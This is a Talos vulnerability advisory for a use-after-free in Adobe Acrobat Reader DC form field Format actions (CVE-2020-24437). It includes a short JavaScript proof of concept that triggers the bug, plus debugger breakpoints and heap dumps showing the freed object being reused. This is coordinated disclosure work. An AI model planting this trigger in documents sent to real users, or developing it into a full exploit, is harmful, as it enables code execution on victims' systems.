Talos Vulnerability Report

TALOS-2020-1156

Adobe Acrobat Reader DC form field format use after free

November 5, 2020
CVE Number

CVE-2020-24437

SUMMARY

A specific JavaScript code embedded in a PDF file can trigger a use-after-free vulnerability when opening a PDF document in Adobe Acrobat Reader DC 2020.012.20043. With careful memory manipulation, this can lead to arbitrary code execution. To trigger this vulnerability, the victim would need to open the malicious file or access a malicious web page.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Adobe Acrobat Reader 2020.012.20043

PRODUCT URLS

Acrobat Reader - https://acrobat.adobe.com/us/en/acrobat/pdf-reader.html

CVSSv3 SCORE

8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-416 - Use After Free

DETAILS

Adobe Acrobat Reader is one of the most popular and feature-rich PDF readers on the market. It has a large user base and is usually a default PDF reader on systems. It also integrates into web browsers as a plugin for rendering PDFs. As such, tricking a user into visiting a malicious web page or sending a specially crafted email attachment can be enough to trigger this vulnerability.

Adobe Acrobat Reader DC supports embedded JavaScript code in the PDF to allow for interactive PDF forms. This gives the potential attacker the ability to precisely control memory layout and poses additional attack surface. Javascript allows manipulation of form fields and other page content in a PDF document.

There exists a vulnerability in a way Adobe Reader is processing Format event actions attached to form fields.
Following proof of concept code can be used to trigger this vulenrability:

app.activeDocs[0].createTemplate("a"); 
app.activeDocs[0].getField('txt2').setAction("Format",'app.activeDocs[0].deletePages(2);'); 
app.activeDocs[0].spawnPageFromTemplate("a"); 
app.activeDocs[0].spawnPageFromTemplate("a"); 
app.activeDocs[0].resetForm();

In the above code, a template based on the existing document is created. Then, an event handler is attached to Format event of a text field present on the page. Further, two additional pages are created based on the template and finally all the forms on the document are reset. Reseting in turn triggers the Format event and attached code is executed inside the event handler for field txt2. Inside the event handler, pages are deleted which frees the memory associated with text field object, but a stale reference to an object is kept. Still inside the event handler, this stale reference is reused resulting in a use-after-free condition. This can be observed inside a debugger by placing two breakpoints and adding debug alerts inside the proof of concept code allowing us to easily break the execution right before and after the object in question is freed and reused. Breakpoints inside AcroForm.api DLL are:

bp AcroForm!DllUnregisterServer+0xd01e0
bp AcroForm!DllUnregisterServer+0xd0255

First breakpoint is hit at the entry point of a function where our object is pointed to by ecx:

Breakpoint 1 hit
eax=0cbcaca8 ebx=00000000 ecx=3744afa0 edx=00000100 esi=65e56540 edi=3744afa0
eip=65e56540 esp=004fb2f8 ebp=004fb374 iopl=0         nv up ei pl zr na pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000247
AcroForm!DllUnregisterServer+0xd01e0:
65e56540 6a24            push    24h
0:000> dd ecx
3744afa0  662c928c 47936fb0 c0010000 0000001b
3744afb0  43b12ff8 43b12ffc 43b12ffc 00000000
3744afc0  4a48afe8 00000000 00000000 00000000
3744afd0  00000000 43b10fe8 00000000 00000000
3744afe0  662a8638 00000000 00000000 ffffffff
3744aff0  00000000 00000000 00000000 00000000
3744b000  ???????? ???????? ???????? ????????
3744b010  ???????? ???????? ???????? ????????
0:000> !heap -p -a ecx
    address 3744afa0 found in
    _DPH_HEAP_ROOT @ 671000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                374e05e4:         3744afa0               60 -         3744a000             2000
          ? AcroForm!DllUnregisterServer+542f2c
    6bfbabb0 verifier!AVrfDebugPageHeapAllocate+0x00000240
    7765245b ntdll!RtlDebugAllocateHeap+0x00000039
    775b6dd9 ntdll!RtlpAllocateHeap+0x000000f9
    775b5ec9 ntdll!RtlpAllocateHeapInternal+0x00000179
    775b5d3e ntdll!RtlAllocateHeap+0x0000003e
    769c1406 ucrtbase!_malloc_base+0x00000026
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.dll - 
    62e04299 AcroRd32!AcroWinMainSandbox+0x00004c89
    65b20db9 AcroForm!PlugInMain+0x00000a39

From the above output, we can see parts of its contents as well as memory allocation information. Continuing execution , until after deletePages is executed allows us to inspect the memory after the object is freed:

0:000> g
ModLoad: 67ab0000 67b3e000   C:\WINDOWS\SysWOW64\mscms.dll
ModLoad: 685a0000 685ac000   C:\WINDOWS\SysWOW64\ColorAdapterClient.dll
ModLoad: 68530000 6855c000   C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Updater.api
ModLoad: 6d010000 6d04d000   C:\WINDOWS\SysWOW64\edputil.dll
ModLoad: 6cb80000 6cc0b000   C:\Windows\SysWOW64\Windows.StateRepositoryPS.dll
onecoreuap\inetcore\urlmon\zones\zoneidentifier.cxx(359)\urlmon.dll!703A07C9: (caller: 703A0258) ReturnHr(1) tid(1a40) 80070002 The system cannot find the file specified.
ModLoad: 6cb60000 6cb7a000   C:\WINDOWS\SysWOW64\CLDAPI.dll
ModLoad: 68520000 68530000   C:\WINDOWS\SysWOW64\pcacli.dll
ModLoad: 68510000 68520000   C:\WINDOWS\SysWOW64\sfc_os.dll
ModLoad: 761c0000 765eb000   C:\WINDOWS\SysWOW64\SETUPAPI.dll
(a2c.c5c): Break instruction exception - code 80000003 (first chance)
eax=00313000 ebx=00000000 ecx=776142f0 edx=40220080 esi=776142f0 edi=776142f0
eip=775dcbd0 esp=508ffc90 ebp=508ffcbc iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
ntdll!DbgBreakPoint:
775dcbd0 cc              int     3
0:016> dd 3744afa0  
3744afa0  ???????? ???????? ???????? ????????
3744afb0  ???????? ???????? ???????? ????????
3744afc0  ???????? ???????? ???????? ????????
3744afd0  ???????? ???????? ???????? ????????
3744afe0  ???????? ???????? ???????? ????????
3744aff0  ???????? ???????? ???????? ????????
3744b000  ???????? ???????? ???????? ????????
3744b010  ???????? ???????? ???????? ????????
0:016> !heap -p -a 3744afa0  
    address 3744afa0 found in
    _DPH_HEAP_ROOT @ 671000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                   374e05e4:         3744a000             2000
    6bfbae02 verifier!AVrfDebugPageHeapFree+0x000000c2
    77652c91 ntdll!RtlDebugFreeHeap+0x0000003e
    775b3c45 ntdll!RtlpFreeHeap+0x000000d5
    775b3812 ntdll!RtlFreeHeap+0x00000222
    769bf43b ucrtbase!_free_base+0x0000001b
    769bf408 ucrtbase!free+0x00000018
    62e07839 AcroRd32!AcroWinMainSandbox+0x00008229
    62e3a416 AcroRd32!CTJPEGLibInit+0x000122a6
    62e3a45c AcroRd32!CTJPEGLibInit+0x000122ec
    62ead21c AcroRd32!DllCanUnloadNow+0x000592ec
    62e78167 AcroRd32!DllCanUnloadNow+0x00024237
    62e780e8 AcroRd32!DllCanUnloadNow+0x000241b8
    62eaac09 AcroRd32!DllCanUnloadNow+0x00056cd9
    62eaabcd AcroRd32!DllCanUnloadNow+0x00056c9d

In the above output, we break Javascript execution while stopped on an app.alert window called from inside the Format action handler. We inspect the same piece of memory and we can see that it has been freed. Simply continuing execution brings us to one point of reuse which leads to a crash:

0:016> g
Breakpoint 0 hit
eax=3fb16fe8 ebx=00000000 ecx=65e7a9db edx=01000000 esi=3fb16fe8 edi=3744afa0
eip=65e565b5 esp=004fb2b4 ebp=004fb2f4 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
AcroForm!DllUnregisterServer+0xd0255:
65e565b5 8b4f14          mov     ecx,dword ptr [edi+14h] ds:002b:3744afb4=????????
0:000> dd edi
3744afa0  ???????? ???????? ???????? ????????
3744afb0  ???????? ???????? ???????? ????????
3744afc0  ???????? ???????? ???????? ????????
3744afd0  ???????? ???????? ???????? ????????
3744afe0  ???????? ???????? ???????? ????????
3744aff0  ???????? ???????? ???????? ????????
3744b000  ???????? ???????? ???????? ????????
3744b010  ???????? ???????? ???????? ????????
0:000> !heap -p -a edi
    address 3744afa0 found in
    _DPH_HEAP_ROOT @ 671000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                   374e05e4:         3744a000             2000
    6bfbae02 verifier!AVrfDebugPageHeapFree+0x000000c2
    77652c91 ntdll!RtlDebugFreeHeap+0x0000003e
    775b3c45 ntdll!RtlpFreeHeap+0x000000d5
    775b3812 ntdll!RtlFreeHeap+0x00000222
    769bf43b ucrtbase!_free_base+0x0000001b
    769bf408 ucrtbase!free+0x00000018
    62e07839 AcroRd32!AcroWinMainSandbox+0x00008229
    62e3a416 AcroRd32!CTJPEGLibInit+0x000122a6
    62e3a45c AcroRd32!CTJPEGLibInit+0x000122ec
    62ead21c AcroRd32!DllCanUnloadNow+0x000592ec

Our second breakpoint is at the crashing instruction where we can see an attempt to access the memory of the previously freed object. First, this demonstrates that we control the point at which the object is freed. Second, that we can execute javascript code after the object is freed, allowing us to take control of the freed memory. And third, we have further control over how the object is reused. Above crash can be observed with PageHeap enabled.

With careful memory manipulation between the time of free and reuse, control over reused memory can be gained which can lead to arbitrary code execution.

TIMELINE

2020-09-24 - Vendor Disclosure
2020-11-05 - Public Release

Credit

Discovered by Aleksandar Nikolic of Cisco Talos.